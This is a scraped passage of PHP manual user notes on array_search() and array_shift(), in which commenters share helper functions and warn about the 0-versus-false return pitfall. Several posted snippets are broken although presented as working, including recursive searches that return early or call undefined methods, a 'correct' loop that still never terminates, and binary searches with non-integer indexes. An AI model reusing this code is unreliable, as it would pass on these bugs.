            if( is_array( $val ) ) $this->Array_Search_Preg( $find, $val, $keys_found );
            else
            {
                if( preg_match( '/'. $find .'/', $val ) ) $keys_found[] = $key;
            }
        }
        return $keys_found;
    }
    return false;
}
?>
evert_18 at hotmail dot com 13-Nov-2006 06:18
This function can search in multidimensional arrays, no mather how multidimensional the array is!

<?php
function array_search(&$array,$needle)
{
    foreach($array as $key => $value)
    {
        if($value == $needle || $key == $needle)
            return(true);
        else
            if(is_array($value))
                $this->search($value,$needle);
            else
                return(false);
    }
}
?>
dmitry dot polushkin at gmail dot com 21-Oct-2006 10:03
To get the key of the found search value, use:
<?php
$a = array('a', 'b', 'c');
echo array_search(array_search('c', $a), array_keys($a));
?>
jupiter at nospam dot com 29-Sep-2006 02:25
Checks that array value STARTS with the string(needle), while other functions require an exact match OR the needle can be anywhere within.  This function can be manipulated to END with the needle if needed
<?php
// returns first key of haystackarray which array valuestring starts with needlestring, is case-sensitive
function arrayHaystackStartsWithNeedleString($haystackarray, $needlestring) {
    if (is_array($haystackarray)) {  // confirms array
        $needlelength = strlen($needlestring);  // length of string needle
        foreach ($haystackarray as $arraykey => $arrayvalue) {  // gets array value
            $arraypart = substr($arrayvalue, 0, $needlelength);  // first characters of array value
            if ($needlestring == $arraypart) {  // did we find a match
                return $arraykey;  // return will stop loop
            }  // end match conditional
        }  // end loop
    }  // end array check
    return false;  // no matches found if this far
}
?>
I haven't speed tested this, but it should be pretty quick.
Digitally Designed dot co dot uk 28-Sep-2006 02:48
My Function to search a Multidimensional array.

Pass in :

$theNeedle as what you want to find.
$theHaystack as the array
$keyToSearch as what key in the array you want to find the value in.

<?php

function myMulti_Array_Search($theNeedle, $theHaystack, $keyToSearch)
        {
        foreach($theHaystack as $theKey => $theValue)
            {
            $intCurrentKey = $theKey;

            if($theValue[$keyToSearch] == $theNeedle)
                {

                return $intCurrentKey ;
                }
            else
                {
                return 0;
                }
            }
        }

?>
lars-magne 22-Sep-2006 05:19
Further comments on the multidimensional array searches given earlier:

I needed an extended search function which could search in both keys and values in any # dimension array and return all results. Each result contains key/value hit, type (key or value), key path and value (in case result is a key).

<?php

function array_search_ext($arr, $search, $exact = true, $trav_keys = null)
{
  if(!is_array($arr) || !$search || ($trav_keys && !is_array($trav_keys))) return false;
  $res_arr = array();
  foreach($arr as $key => $val)
  {
    $used_keys = $trav_keys ? array_merge($trav_keys, array($key)) : array($key);
    if(($key === $search) || (!$exact && (strpos(strtolower($key), strtolower($search)) !== false))) $res_arr[] = array('type' => "key", 'hit' => $key, 'keys' => $used_keys, 'val' => $val);
    if(is_array($val) && ($children_res = array_search_ext($val, $search, $exact, $used_keys))) $res_arr = array_merge($res_arr, $children_res);
    else if(($val === $search) || (!$exact && (strpos(strtolower($val), strtolower($search)) !== false))) $res_arr[] = array('type' => "val", 'hit' => $val, 'keys' => $used_keys, 'val' => $val);
  }
  return $res_arr ? $res_arr : false;
}

// I.e.:
$haystack[754] = "Norwegian";
$haystack[28]['details']['Norway'] = "Oslo";
$needle = "Norw";

if($results = array_search_ext($haystack, $needle, false))
  foreach($results as $res)
    echo "Found '$needle' in $res[type] '$res[hit]', using key(s) '".implode("', '", $res['keys'])."'. (Value: $res[val])<br />\n";

/* Printed result will be:
Found 'Norw' in val 'Norwegian', using key(s) '754'. (Value: Norwegian)
Found 'Norw' in key 'Norway', using key(s) '28', 'details', 'Norway'. (Value: Oslo)
*/

?>
mark dot php at mhudson dot net 11-Sep-2006 05:49
I was going to complain bitterly about array_search() using zero-based indexes, but then I realized I should be using in_array() instead.

// if ( isset( $_GET['table'] ) and array_search( $_GET['table'], $valid_tables) ) {  // BAD: fails on first[0] element
// if ( isset( $_GET['table'] ) and ( FALSE !== array_search( $_GET['table'], $valid_tables) ) ) { OK: but wasteful and convoluted
   if ( isset( $_GET['table'] ) and in_array( $_GET['table'], $valid_tables) ) { // BETTER

The essence is this: if you really want to know the location of an element in an array, then use array_search, else if you only want to know whether that element exists, then use in_array()
ob at babcom dot biz 28-Aug-2006 02:55
This function is based on the function in comment "array_search" from July 26th 2006.

I added the possibility of defining the key which $Needle shall be searched for.

<?php
// search haystack for needle and return an array of the key path,
// FALSE otherwise.
// if NeedleKey is given, return only for this key
// mixed ArraySearchRecursive(mixed Needle,array Haystack
//                            [,NeedleKey[,bool Strict[,array Path]]])

function ArraySearchRecursive($Needle,$Haystack,$NeedleKey="",
                              $Strict=false,$Path=array()) {
  if(!is_array($Haystack))
    return false;
  foreach($Haystack as $Key => $Val) {
    if(is_array($Val)&&
       $SubPath=ArraySearchRecursive($Needle,$Val,$NeedleKey,
                                     $Strict,$Path)) {
      $Path=array_merge($Path,Array($Key),$SubPath);
      return $Path;
    }
    elseif((!$Strict&&$Val==$Needle&&
            $Key==(strlen($NeedleKey)>0?$NeedleKey:$Key))||
            ($Strict&&$Val===$Needle&&
             $Key==(strlen($NeedleKey)>0?$NeedleKey:$Key))) {
      $Path[]=$Key;
      return $Path;
    }
  }
  return false;
}
?>

Remove unnecessary new lines. I had to add them because of too long lines.
26-Jul-2006 07:19
<?php
/**
 * Searches haystack for needle and returns an array of the key path if it is found in the (multidimensional) array, FALSE otherwise.
 *
 * mixed array_searchRecursive ( mixed needle, array haystack [, bool strict[, array path]] )
 */

function array_searchRecursive( $needle, $haystack, $strict=false, $path=array() )
{
    if( !is_array($haystack) ) {
        return false;
    }

    foreach( $haystack as $key => $val ) {
        if( is_array($val) && $subPath = array_searchRecursive($needle, $val, $strict, $path) ) {
            $path = array_merge($path, array($key), $subPath);
            return $path;
        } elseif( (!$strict && $val == $needle) || ($strict && $val === $needle) ) {
            $path[] = $key;
            return $path;
        }
    }
    return false;
}
?>
gullevek at gullevek dot org 18-Apr-2006 10:31
There were two previous entries for having a recursive search. The first one only searched for values, second one for values with an optional key.

But both of those stopped after they found an entry. I needed, that it searches recursive, with optional key and returns me all matches found in the array.

So I wrote this function:

needle is the value you search, haystack is the array of course, key is the optional key in the array where the needle should be. path should be never set on intial call. its an internal used variable.

It returns an array $path with the array entry 'found' where you can find all found groups. In these groups you have the array which holds the keys to find the data.

I hope this helps some of you.

<?php
    function array_search_recursive_all($needle, $haystack, $key, $path = NULL)
    {
        if (!$path['level'])
            $path['level'] = 0;
        if (!$path['work'])
            $path['work'] = array();
        if (!is_array($haystack))
            $haystack = array();

        // go through the array,
        foreach ($haystack as $_key => $_value)
        {
            // only value matches
            if (is_scalar($_value) && $_value == $needle && !$key)
            {
                $path['work'][$path['level']] = $_key;
                $path['found'][] = $path['work'];
            }
            // key and value matches
            elseif (is_scalar($_value) && $_value == $needle && $_key == $key)
            {
                $path['work'][$path['level']] = $_key;
                $path['found'][] = $path['work'];
            }
            elseif (is_array($_value))
            {
                // add position to working
                $path['work'][$path['level']] = $_key;
                // we will up a level
                $path['level'] += 1;
                // call recursive
                $path = array_search_recursive_all($needle, $_value, $key, $path);
            }
        }
        // cut all that is >= level
        array_splice($path['work'], $path['level']);
        // step back a level
        $path['level'] -= 1;
        return $path;
    }
?>

If you call it with this:

<?php
    $right_side = array ('foo' => 'alpha', 'bar' => 'beta', 'delta' => 'gamma', 'gamma' => 'delta');
    $value = 'beta';
    $key = 'bar';
    $pos = array_search_recursive_all($value, $right_side, $key);
?>

You will find in $pos this data

Array
(
    [level] => -1
    [work] => Array
        (
        )

    [found] => Array
        (
            [0] => Array
                (
                    [0] => bar
                )

        )

)
RichGC 20-Mar-2006 05:54
To expand on previous comments, here are some examples of
where using array_search within an IF statement can go
wrong when you want to use the array key thats returned.

Take the following two arrays you wish to search:

<?php
$fruit_array = array("apple", "pear", "orange");
$fruit_array = array("a" => "apple", "b" => "pear", "c" => "orange");

if ($i = array_search("apple", $fruit_array))
//PROBLEM: the first array returns a key of 0 and IF treats it as FALSE

if (is_numeric($i = array_search("apple", $fruit_array)))
//PROBLEM: works on numeric keys of the first array but fails on the second

if ($i = is_numeric(array_search("apple", $fruit_array)))
//PROBLEM: using the above in the wrong order causes $i to always equal 1

if ($i = array_search("apple", $fruit_array) !== FALSE)
//PROBLEM: explicit with no extra brackets causes $i to always equal 1

if (($i = array_search("apple", $fruit_array)) !== FALSE)
//YES: works on both arrays returning their keys
?>
congaz at yahoo dot dk 09-Mar-2006 07:38
Search a multi-dimensional array on keys!
-------------------------------------------

I needed to search dynamically in a multi-dimen array on keys. I came up with this little neat function. It is so amazingly simple, that I actually didn't think it would work - but it does...

mixed array_searchMultiOnKeys(array, array);

<?php
function array_searchMultiOnKeys($multiArray, $searchKeysArray) {
    // Iterate through searchKeys, making $multiArray smaller and smaller.
    foreach ($searchKeysArray as $keySearch) {
        $multiArray = $multiArray[$keySearch];
        $result = $multiArray;
    }

    // Check $result.
    if (is_array($multiArray)) {
        // An array was found at the end of the search. Return true.
        $result = true;
    }
    else if ($result == '') {
        // There was nothing found at the end of the search. Return false.
        $result = false;
    }

    return $result;
// End of function,
}

// --- Test array_searchMultiOnKeys ---
$multiArray['webpages']['downloads']['music'] = 1;
$multiArray['webpages']['downloads']['pressmaterial'] = 5;
$multiArray['webpages']['links'] = 7;

array_searchMultiOnKeys($multiArray, array('webpages', 'links')); // returns 7.
array_searchMultiOnKeys($multiArray, array('webpages', 'downloads')); // returns true.
array_searchMultiOnKeys($multiArray, array('webpages', 'downloads', 'software')); // returns false.

?>

$multiArray / $searchKeysArray can be any size.

Happy hacking...
chappy at citromail dot hu 11-Feb-2006 12:26
If you're searching for strings and you need a case-insensetive script, there's one:

<?php
function array_lsearch($str,$array){
    $found=array();
    foreach($array as $k=>$v){
        if(strtolower($v)==strtolower($str)){
            $found[]=$v;
        }
    }
    $f=count($found);
    if($f===0)return false;elseif($f===1)return $found[0];else return $found;
}
?>

It returns the original string, not the lower. Also good if use strtoupper().
hansen{ä}cointel.de 08-Feb-2006 06:26
may be good to take note of PHP's mind-boggling 'fuzzy' (vulgo "magic type-casting") comparison features not only in using the results, but also in the search, too:
<?php
$a=array("a","b",0,"c","d");
echo "a: ".array_search("a",$a);
echo "b: ".array_search("b",$a);
echo "c: ".array_search("c",$a);
echo "d: ".array_search("d",$a);
echo "0: ".array_search("0",$a);
echo "x: ".array_search("x",$a);
echo "1: ".array_search("1",$a);
?>
will result in:
a: 0, b: 1, c: 2, d: 2, 0: 2, x: 2, 1: false

as from "c" on, the first match found in $a is "0", as any string compared to an int is automatically cast to (int)0.
ludwig_von_rocht at yahoo dot com 23-Nov-2005 03:50
Here's a little function I wrote to find the key of the LAST occurrance of something in an array.

<?php
if(!function_exists('array_rsearch')){
    function array_rsearch($search, $array, $strict = false){
        $array = array_reverse($array, true);
        foreach($array as $key => $value){
            if($strict){
                if($value === $search)
                    return $key;
            } else {
                if(strpos($value, $search))
                    return $key;
            }
        }
        return false;
    }
}
?>
mark meves 22-Nov-2005 03:13
A quick-and-dirty array_search_all() that i used for a small
dup-checking routine.

there are many, many ways to do something like this, not
the worst of which would be to use a relational database
for a dataset any larger than this ;)

-mark meves

<?php
/**
@return array of zero or more keys form $aHaystack whose
    values match $mScalarNeedle using a
    '==', (ie not strict) comparison
*/
function array_search_all($mScalarNeedle,$aHaystack){
    return array_keys( array_filter($aHaystack,
        create_function('$v','return $v == \''.addslashes($mScalarNeedle).'\';')
    ));
}

/*
test it:
*/
$aNicknames = array('jimmy'=>1,'james'=>1,'jim'=>1,
                    'billy'=>2,'william'=>2,'bill'=>2);
foreach(array('jim','bill') as $sName){
    echo "variations for \"$sName\" :(".
        implode(', ', array_search_all($aNicknames[$sName],$aNicknames)).
    ")\n";
}
/* outputs:
variations for "jim" are (jimmy, james, jim)
variations for "bill" are (billy, william, bill)
*/
?>
pornsak at neowin dot net 21-Nov-2004 07:28
This is a modified version of Mark Meves's wonderful function. I needed something that would be able to let me force search the key name where the needle should be found.

<?php
function array_search_recursive($needle, $haystack, $key_lookin="") {

$path = NULL;

    if (!empty($key_lookin) && array_key_exists($key_lookin, $haystack) && $needle === $haystack[$key_lookin]) {
    $path[] = $key_lookin;

    } else {

        foreach($haystack as $key => $val) {
            if (is_scalar($val) && $val === $needle && empty($key_lookin)) {
            $path[] = $key;
            break;
            }

            elseif (is_array($val) && $path = array_search_recursive($needle, $val, $key_lookin)) {
            array_unshift($path, $key);
            break;
            }
        }
    }

return $path;
}
?>
scripts at webfire dot org 03-Nov-2004 09:13
* Multi-Dimensional Array Search *
If you're searching for a function to search in Multi-Arrays,
this is probably usefull for you.
-------------------------------------------------------------

<?php
function multi_array_search($search_value, $the_array)
{
    if (is_array($the_array))
    {
        foreach ($the_array as $key => $value)
        {
            $result = multi_array_search($search_value, $value);
            if (is_array($result))
            {
                $return = $result;
                array_unshift($return, $key);
                return $return;
            }
            elseif ($result == true)
            {
                $return[] = $key;
                return $return;
            }
        }
        return false;
    }
    else
    {
        if ($search_value == $the_array)
        {
            return true;
        }
        else return false;
    }
}
?>

-------------------------------------------------------------
It will return an Array with the keys from the original array
where your search-string was found or false. e.g.:
-------------------------------------------------------------

<?php
$foo[1]['a']['xx'] = 'bar 1';
$foo[1]['b']['xx'] = 'bar 2';
$foo[2]['a']['bb'] = 'bar 3';
$foo[2]['a']['yy'] = 'bar 4';
$foo['info'][1] = 'bar 5';

$result = multi_array_search('bar 3', $foo);
print_r($result);
?>

-------------------------------------------------------------

Output:

Array
(
      [0] => 2
      [1] => a
      [2] => bb
)

-------------------------------------------------------------

I hope you like it ;)
greetz Udo

Félix Cloutier <felixcca at yahoo dot ca> 22-Oct-2004 05:01
There is no function to count the occurences of needle in haystack, so I made my own one...

<?php
function array_match($needle, $haystack)
{
    if( !is_array($haystack) ) return false;

    $i = 0;
    while( (in_array( $needle, $haystack )) != FALSE )
    {
        $i++;
        $haystack[array_search($needle, $haystack)] = md5($needle);
        reset($haystack);
    }

    return $i;
}
?>

I know it's a bit crappy, but don't ask me too much, I'm still only 13... ;)
Wouter van Vliet <me at woutervanvliet dot nl> 19-Aug-2004 08:55
I was looking for a way to use a user defined function for array_search and eventually came up writing my own. Which was remarkably simple :P. Let me share this:

<?php
function array_usearch($cb, $ndl, $hs, $strict=false) {
    if (!is_array($hs)) user_error('Third argument to array_usearch is expected to be an array, '.gettype($hs).' given', E_USER_ERROR);
    foreach($hs as $key=>$value) if (call_user_func_array($cb, Array($ndl, $value, $key, $strict))) return $key;
};
?>

I'm not sure if I'm following correct conventions to specify the callback as the first argument, but it seemed most logical to me to not interrupt the order of the other four arguments (mixed needle, array haystack, boole strict).

[so far for my first post to the php notes]
andrey at php dot net 07-Aug-2004 04:56
array_search() has kind of hidden behaviour which comes from the way PHP compares values of different types (PHP is a type-loose language) - so called type juggling.
for example :
<?php
$a=array(0,0,5,0,0);
var_dump(array_search(true, $a));
?>
In the array there are only integers but we give a boolean value TRUE for be the needle. The result is that array_search() returns the first non-negative value in the haystack array. The same way if we pass FALSE it will return the first value that compared with FALSE gives TRUE - for example NULL
<?php
$a=array(1,NULL,5,0,0);
var_dump(array_search(FALSE, $a));
?>
Returns:
int(1)  <-- the key of the NULL value
softexpert [at] libertysurf [dot] fr 03-May-2004 11:51
I use this for searching for a value in a bidimensional array .

<?php
function SearchBiDimArray(&$theArray, $dimNo, $searchValue, $returnIndex = true){
    if(is_array($theArray)){
        $keys = array_keys($theArray[0]);
        $key = $keys[$dimNo];
        $elcount = count($theArray);

        for($i=0; $i < $elcount; $i++){
            if($theArray[$i][$key] === $searchValue){
                if ($returnIndex){
                    return $i;
                }
                else{
                    return $theArray[$i];
                }
            }
        }

    }
    else{
        return array_search($searchValue, $theArray);
    }
}

$theArray = array();
$theArray[0]['firstproperty'] = 'avalue1';
$theArray[0]['secondproperty'] = 'anothervalue1';

$theArray[1]['firstproperty'] = 'avalue2';
$theArray[1]['secondproperty'] = 'anothervalue2';

$theArray[2]['firstproperty'] = 'avalue3';
$theArray[2]['secondproperty'] = 'anothervalue3';

print SearchBiDimArray($theArray, 1, 'anothervalue2', true);
// result is 1

print SearchBiDimArray($theArray, 1, 'anothervalue2', true);
// result is
//Array
//(
//    [firstproperty] => avalue2
//    [secondproperty] => anothervalue2
//)

?>
dcsoboda at oakland dot edu 28-Jan-2004 01:13
I've noticed problems with array_search() when it's handling extremely large arrays.

In one example, I had a 2000 slot array with a 128 char string in each slot, and was searching for a 128 char string within the array.

It regularly returned the wrong key. I even had it print the search string, along with the found key in the array, as a  test, and it would print obvious different strings.

The problem was alleviated when I ran gzcompress() on each array slot (and on my search string, obviously). In this case, no strings were longer than 67 bytes. It performed far faster and had no accuracy problems.
dennis dot decoene at removthis dot moveit dot be 17-Jan-2004 10:41
It has been said before: array_search is VERY slow. Everyone knows binary search is fast by design. Here is an implementation.

<?php
$arr=array(1,3,5,7,9,10,11,13);
$searchfor = 6;
echo binsearch($searchfor, $arr);

/**
 * @return integer
 * @param var $needle
 * @param array $haystack
 * @desc Feed a sorted array to $haystack and a value to search for to $needle.
             It will return false if not found or the index where it was found.
             This function is superfast. Try an array with 50.000 elements and search for something,
             you will be amazed.
*/
function binsearch($needle, $haystack)
{
    $high = count($haystack);
    $low = 0;

    while ($high - $low > 1){
        $probe = ($high + $low) / 2;
        if ($haystack[$probe] < $needle){
            $low = $probe;
        }else{
            $high = $probe;
        }
    }

    if ($high == count($haystack) || $haystack[$high] != $needle) {
        return false;
    }else {
        return $high;
    }
}
?>
jwhite at ytztech dot com 18-Nov-2003 06:59
Searching arrays is a very slow process.  I've tried to use as many strings as I can for where an array is called, if possible. Here's a quick test to show the (eye-popping) difference between searching for a match between strings and arrays:

<?php

  $test_string = '';
  for ($i=1; $i <= 500000; $i++) {
    $test_string .= '['.$i.']';
  }

  $test_array = array();
  for ($i=1; $i <= 5000; $i++) {
    $test_array[] = $i;
  }

  $time_str = getmicrotime();
  for ($i=1; $i <= 500000; $i++) {
    strstr($i,$test_string);
  }
  $time_str = getmicrotime() - $time_str;

  $time_array = getmicrotime();
  for ($i=1; $i <= 5000; $i++) {
    array_search($i,$test_array);
  }
  $time_array = getmicrotime() - $time_array;

  echo "<H1>Test Results</H1>\r\n";
  echo "<P>String Test:&nbsp; $time_str seconds.</P>\r\n";
  echo "<P>Array Test:&nbsp; $time_array seconds.</P>\r\n";

   function getmicrotime(){
     list($usec, $sec) = explode(" ",microtime());
     return ((float)$usec + (float)$sec);
   }

?>

This code block takes some time to get going (because of the number of strings to place into memory), the results, even on modest hardware are staggering.  Comparing 500000 strstr() operations to 5000 array_search() operations on a P3-800 with 512 MB of RAM got the following output:

[H1]Test Results[/H1]
[P]String Test: 3.09137701988 seconds.[/P]
[P]Array Test:  4.23609495163 seconds.[/P]

The getmicrotime() function came from the note on microtime(), so that's not mine...credit to "daniel141 at yahoo dot com".

STRINGS RULE!
--
Justin White
YTZ Technical Services, LLC
php at celerondude dot com 12-Nov-2003 03:07
I think array_search uses serial search because they binary search function i wrote here seems to do a better job for records that are not always at the beginning of the array.

Here it is

<?php
function binarySearch ( $a, $t, $l, $r )
{
    if($t<$a[$l]||$t>$a[$r])return NULL;
    while ( $l < $r )
    {
        $m=intval($l+$r)/2;
        if($a[$m]==$t)return $m;
        elseif($t<$a[$m])$r=$m-1;
        elseif($t>$a[$m])$l = $m + 1;
    }
    if($t==$a[$r])
    return $r;
    return NULL;
}
?>

usage:
binarySearch ( array, target, left range, right range );

if your array is a multidimensional array, simply change the comparison method. :)
cue at openxbox dot com 09-Jun-2003 07:50
If you are using the result of array_search in a condition statement, make sure you use the === operator instead of == to test whether or not it found a match.  Otherwise, searching through an array with numeric indicies will result in index 0 always getting evaluated as false/null.  This nuance cost me a lot of time and sanity, so I hope this helps someone.  In case you don't know what I'm talking about, here's an example:

<?php
$code = array("a", "b", "a", "c", "a", "b", "b"); // infamous abacabb mortal kombat code :-P

// this is WRONG
while (($key = array_search("a", $code)) != NULL)
{
 // infinite loop, regardless of the unset
 unset($code[$key]);
}

// this is _RIGHT_
while (($key = array_search("a", $code)) !== NULL)
{
 // loop will terminate
 unset($code[$key]);
}
?>
richard at richard-sumilang dot com 16-Apr-2003 03:59
<?php
/**
     *    Search an array recursivly
     *
     *    This function will search an array recursivly
     *    till it finds what it is looking for. An array
     *    within an array within an array within array
     *    is all good :-)
     *
     *    @author        Richard Sumilang    <richard@richard-sumilang.com>
     *    @param        string    $needle        What are you searching for?
     *    @param        array    $haystack    What you want to search in
     *    @return        boolean
     *    @access        public
     */
    function array_search_r($needle, $haystack){
        foreach($haystack as $value){
            if(is_array($value))
                $match=array_search_r($needle, $value);
            if($value==$needle)
                $match=1;
            if($match)
                return 1;
        }
        return 0;
    }
?>
Darkvie 16-Mar-2003 04:53
I wanted to search a  multidimensional array for a value & assign another element of array CONTAINING the searched value.

In the array I am using ($Projects), each item in $Projects contains a "Text_ID" & "Text_Value" field from a database result. I want to search for a "Text_ID" value (456 in this example)  & get it's "Text_Value" value assigned to a variable called $Text_Value.

Here's how I did it:
============================================

<?PHP
//Array I am going to look in:
$Projects[0] = array(123, "Text 1");
$Projects[1] = array(456, "Text 2");
$Projects[2] = array(789, "Text 3");

// This loop goes through every element in $Projects
foreach ($Projects as $key => $ArrayRow)
{
// Now: $ArrayRow[0] = $Projects[x][0] and $ArrayRow[1] = $Projects[x][1]

// Look for the value "456".  Assign to variable & stop looking if found.
if ($ArrayRow[0] == "456")  {$Text_Value= $ArrayRow[1]; break; }
}
?>

============================================
Hope this helps someone.
-Darkive
retestro_REMOVE at SPAM_esperanto dot org dot il 28-Feb-2003 08:46
If you're interested in finding a line in a file, after you read it into an array using file(), you can not use array_search since the match should be exact, and lines have line-endings ('\n', '\r' or '\n\r') - or else you know for sure what your lines contain physically.

The solution is to traverse the whole array, trim() each entry and then use array_search() - or - use something like the following small function I wrote for myself:

<?php
function search_array($needle, $haystack)
{
        if (!is_array($haystack) || !is_string($needle))
                return false;  // not valid argument types

        @reset($haystack);

        while (list ($key, $value) = each($haystack)) {
                $value = trim($value);  // remove spaces from the beginning and the end
                if ($value === $needle)
                        return $key;  // $needle was found, return the key
        }

        return false;  // no $needle was found in $haystack
}
?>

-----------------------------
Notes:
1. you should check the return value with === since 0 as a key equals to 'false'.
    i.e. if (search_array('my_line', $my_array) === false)  { ... }
2. I have no need in whitespace at the beginning of the line, therefore I use trim(). If it's important to you, use rtrim() or chop() instead.

-
- Sergey.
saltymeat at hotmail dot com 24-Jun-2002 02:03
Here's how you can use array_search() to replace all occurances of a value in an array:

<?php
function array_replace($a, $tofind, $toreplace)
{
    $i = array_search($tofind, $a);
    if ($i === false)
    {
        return $a;
    }
    else
    {
        $a[$i] = $toreplace;
        return array_replace($a, $tofind, $toreplace);
    }
}
?>

Usage:
$a = array(1,2,3);
$a = array_replace($a, 1, 4);
echo $a[0]; // Outputs 4
dakota at dir dot bg 29-May-2002 04:44
For versions later than 4.2.0, the check  isset($key) won't work properly because the function now returns false, which "isset". This change is missing in the Change Log!

So the right way to use the function is:

<?php
$key = array_search($needle, $array);
if ($key!==null&&$key!==false) {
  ...
}
?>

This example will work in both older and newer to 4.2.0 versions.

P.S.: My previous post where isset() is used won't work in newer versions.
swbrown at ucsd dot edu 02-May-2002 01:18
Be absolutely sure to check that your code that uses array_search now checks for 'false' too if you upgrade to PHP 4.2.0!

I was using array_search in my page authentication routines and this change had the fun side-effect of causing my code to always think a user had full permissions!  It was letting anyone click through to our installation of phpMyAdmin.  Not good indeed!
saconner at iastate dot edu 04-Feb-2002 01:16
In PHP versions before 4.2.0 needle was not allowed to be an array.  (funnily enough, at time of posting this note, we're still at ver 4.1.1 )
array_reverse
array_shift
Array Functions


Shift an element off the beginning of array

array_search
array_slice
Array Functions
PHP Manual

array_shift

(PHP 4, PHP 5)

array_shift — Shift an element off the beginning of array

Description

mixed array_shift ( array &$array )

array_shift() shifts the first value of the array off and returns it, shortening the array by one element and moving everything down. All numerical array keys will be modified to start counting from zero while literal keys won't be touched.

Note: This function will reset() the array pointer of the input array after use.

Parameters

array

The input array.

Return Values

Returns the shifted value, or NULL if array is empty or is not an array.

Examples

Example #1 array_shift() example

<?php
$stack = array("orange", "banana", "apple", "raspberry");
$fruit = array_shift($stack);
print_r($stack);
?>

The above example will output:

Array
(
    [0] => banana
    [1] => apple
    [2] => raspberry
)

and orange will be assigned to $fruit.

See Also

  • array_unshift() - Prepend one or more elements to the beginning of an array
  • array_push() - Push one or more elements onto the end of array
  • array_pop() - Pop the element off the end of array

User Contributed Notes

info at chihoang dot de 20-Apr-2011 09:46
This doesn't work with a 2 dimensional array. With 2 dimensional array I do this:

<?php
$backup = $arr;
$first = array_shift ( $backup );
?>
ar at xonix dot ch 14-Aug-2010 03:54
If you need the first or last entry of an array, then this could help you.

<?php
function array_last_entry($arr){
    if(!is_array($arr))
        return;

    if(empty($arr))
        return;

    return end($arr);
}

function array_first_entry($arr){
    if(!is_array($arr))
        return;

    if(empty($arr))
        return;

    reset($arr);
    return current($arr);
}

$arr = array( '5' => 'five', '3' => 'three', '8' => 'eight',);

echo 'last entry: '.array_last_entry($arr).'<br>';

echo 'first entry: '.array_first_entry($arr).'<br>';

echo 'alternative output:<br>';

echo 'last entry: '.$arr[count($arr)-1];

echo '<br>first entry: '.$arr[0];
?>

The output will look like:
last entry: eight
first entry: five
alternative output:
last entry:
first entry:

As you can see, if you have to handle arrays with non-continuous indexes, these functions may be very helpful.
patrick at pwfisher dot com 21-Aug-2009 08:23
Here's a utility function to parse command line arguments.

<?php
/**
 * CommandLine class
 *
 * @package             Framework
 */
/**
 * Command Line Interface (CLI) utility class.
 *
 * @author              Patrick Fisher <patrick@pwfisher.com>
 * @since               August 21, 2009
 * @package             Framework
 * @subpackage          Env
 */
class CommandLine {

    /**
     * PARSE ARGUMENTS
     *
     * [pfisher ~]$ echo "<?php
     * >     include('CommandLine.php');
     * >     \$args = CommandLine::parseArgs(\$_SERVER['argv']);
     * >     echo "\n", '\$out = '; var_dump(\$args); echo "\n";
     * > ?>" > test.php
     *
     * [pfisher ~]$ php test.php plain-arg --foo --bar=baz --funny="spam=eggs" --alsofunny=spam=eggs \
     * > 'plain arg 2' -abc -k=value "plain arg 3" --s="original" --s='overwrite' --s
     *
     * $out = array(12) {
     *   [0]                => string(9) "plain-arg"
     *   ["foo"]            => bool(true)
     *   ["bar"]            => string(3) "baz"
     *   ["funny"]          => string(9) "spam=eggs"
     *   ["alsofunny"]      => string(9) "spam=eggs"
     *   [1]                => string(11) "plain arg 2"
     *   ["a"]              => bool(true)
     *   ["b"]              => bool(true)
     *   ["c"]              => bool(true)
     *   ["k"]              => string(5) "value"
     *   [2]                => string(11) "plain arg 3"
     *   ["s"]              => string(9) "overwrite"
     * }
     *
     * @author              Patrick Fisher <patrick@pwfisher.com>
     * @since               August 21, 2009
     * @see                 http://www.php.net/manual/en/features.commandline.php
     *                      #81042 function arguments($argv) by technorati at gmail dot com, 12-Feb-2008
     *                      #78651 function getArgs($args) by B Crawford, 22-Oct-2007
     * @usage               $args = CommandLine::parseArgs($_SERVER['argv']);
     */
    public static function parseArgs($argv){

        array_shift($argv);
        $out                            = array();

        foreach ($argv as $arg){

            // --foo --bar=baz
            if (substr($arg,0,2) == '--'){
                $eqPos                  = strpos($arg,'=');

                // --foo
                if ($eqPos === false){
                    $key                = substr($arg,2);
                    $value              = isset($out[$key]) ? $out[$key] : true;
                    $out[$key]          = $value;
                }
                // --bar=baz
                else {
                    $key                = substr($arg,2,$eqPos-2);
                    $value              = substr($arg,$eqPos+1);
                    $out[$key]          = $value;
                }
            }
            // -k=value -abc
            else if (substr($arg,0,1) == '-'){

                // -k=value
                if (substr($arg,2,1) == '='){
                    $key                = substr($arg,1,1);
                    $value              = substr($arg,3);
                    $out[$key]          = $value;
                }
                // -abc
                else {
                    $chars              = str_split(substr($arg,1));
                    foreach ($chars as $char){
                        $key            = $char;
                        $value          = isset($out[$key]) ? $out[$key] : true;
                        $out[$key]      = $value;
                    }
                }
            }
            // plain-arg
            else {
                $value                  = $arg;
                $out[]                  = $value;
            }
        }
        return $out;
    }
}
?>
regs at voidship dot net 03-Nov-2008 12:50
Using array_shift over larger array was fairly slow.  It sped up as the array shrank, most likely as it has to reindex a smaller data set.

For my purpose, I used array_reverse, then array_pop, which doesn't need to reindex the array and will preserve keys if you want it to (didn't matter in my case).

Using direct index references, i.e., array_test[$i], was fast, but direct index referencing + unset for destructive operations was about the same speed as array_reverse and array_pop.  It also requires sequential numeric keys.
chris {at} w3style {dot} co {dot} uk 05-Oct-2008 06:06
As pointed out earlier, in PHP4, array_shift() modifies the input array by-reference, but it doesn't return the first element by reference.  This may seem like very unexpected behaviour.  If you're working with a collection of references (in my case XML Nodes) this should do the trick.

<?php

/**
 * This function exhibits the same behaviour is array_shift(), except
 * it returns a reference to the first element of the array instead of a copy.
 *
 * @param array &$array
 * @return mixed
 */
function &array_shift_reference(&$array)
{
  if (count($array) > 0)
  {
    $key = key($array);
    $first =& $array[$key];
  }
  else
  {
    $first = null;
  }
  array_shift($array);
  return $first;
}

class ArrayShiftReferenceTest extends UnitTestCase
{

  function testFunctionRemovesFirstElementOfNumericallyIndexedArray()
  {
    $input = array('foo', 'bar');
    array_shift_reference($input);
    $this->assertEqual(array('bar'), $input, '%s: The array should be shifted one element left');
  }

  function testFunctionRemovesFirstElementOfAssociativeArray()
  {
    $input = array('x' => 'foo', 'y' => 'bar');
    array_shift_reference($input);
    $this->assertEqual(array('y' => 'bar'), $input, '%s: The array should be shifted one element left');
  }

  function testFunctionReturnsReferenceToFirstElementOfNumericallyIndexedArray()
  {
    $foo = 'foo';
    $input = array(&$foo, 'bar');
    $first =& array_shift_reference($input);
    $this->assertReference($foo, $first, '%s: The return value should reference the first array element');
  }

  function testFunctionReturnsReferenceToFirstElementOfAssociativeArray()
  {
    $foo = 'foo';
    $input = array('x' => &$foo, 'y' => 'bar');
